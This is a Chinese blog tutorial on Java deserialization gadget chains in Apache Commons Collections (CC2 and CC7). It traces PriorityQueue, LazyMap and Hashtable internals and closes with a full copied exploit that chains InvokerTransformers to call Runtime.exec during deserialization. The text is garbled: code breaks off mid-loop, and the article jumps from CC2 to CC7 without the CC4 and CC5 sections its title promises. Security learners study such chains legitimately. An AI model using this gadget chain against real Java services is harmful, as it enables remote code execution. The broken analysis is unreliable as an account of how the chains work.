[Java安全入门]六.CC2+CC4+CC5+CC7

03-23 1556阅读

一.前言

与前面几条cc不同的是,cc2的依赖是4.0版本,并且解决了高版本无法使用AnnotationInvocationHandler类的弊端。cc2使用javassist和PriorityQueue来构造链。

[Java安全入门]六.CC2+CC4+CC5+CC7
(图片来源网络,侵删)

二.添加依赖

   
        
        
            org.apache.commons
            commons-collections4
            4.0
        
        
            org.javassist
            javassist
            3.22.0-GA
        
    

三.构造链

ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

四.分析

先看一下PriorityQueue类

 private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();
        // Read in (and discard) array length
        s.readInt();
        queue = new Object[size];
        // Read in all elements.
        for (int i = 0; i  

PriorityQueue类的readObject将反序列化得到数据放在queue数组里,然后调用heapify()方法形成一个二叉堆

跟进到heapify()方法

 private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

heapify()方法对传入的数据执行siftDown()方法

继续跟进到siftDown()

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

如果传入的比较器不是null的话,执行siftDownUsingComparator

继续跟进到siftDownUsingComparator

 private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k  

而LazyMap的父类AbstractMapDecorator类里面也有个equals方法,这里仅仅是比较两个key的引用是否为同一个,如果不是,则继续调用map的equals,所以可以通过LazyMap的静态方法decorate将HashMap传给map属性

  public boolean equals(Object object) {
        if (object == this) {
            return true;
        }
        return map.equals(object);
    }

HashMap本身成员没有equals方法,但是HashMap继承了父类AbstractMap里面有一个equals方法

public boolean equals(Object o) {
        if (o == this)
            return true;
        if (!(o instanceof Map))
            return false;
        Map m = (Map) o;
        if (m.size() != size())
            return false;
        try {
            Iterator i = entrySet().iterator();
            while (i.hasNext()) {
                Entry e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }
        return true;
    }

先是判断是否为同一对象,然后判断对象的类型,最后判断map中的元素个数。到try内部,如果value不为null会调用m的get方法,m

所以有构造链

Hashtable.readObject-->Hashtable.reconstitutionPut-->AbstractMap.equals-->LazyMap.get--> ->ChainedTransformer

最后抄一个网上的exp

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Main {
    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
        Transformer[] fakeTransformer = new Transformer[]{};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //ChainedTransformer实例
        //先设置假的 Transformer 数组,防止生成时执行命令
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
        //LazyMap实例
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, "test");
        hashtable.put(lazyMap2, "test");
        //通过反射设置真的 ransformer 数组
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        //上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除
        lazyMap2.remove("yy");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));
        out.writeObject(hashtable);
        //序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));
        in.readObject();
        //反序列化
    }
}

参考

CC链 1-7 分析 - 先知社区 (aliyun.com)

12-java安全——java反序列化CC7链分析-CSDN博客

VPS购买请点击我

文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

目录[+]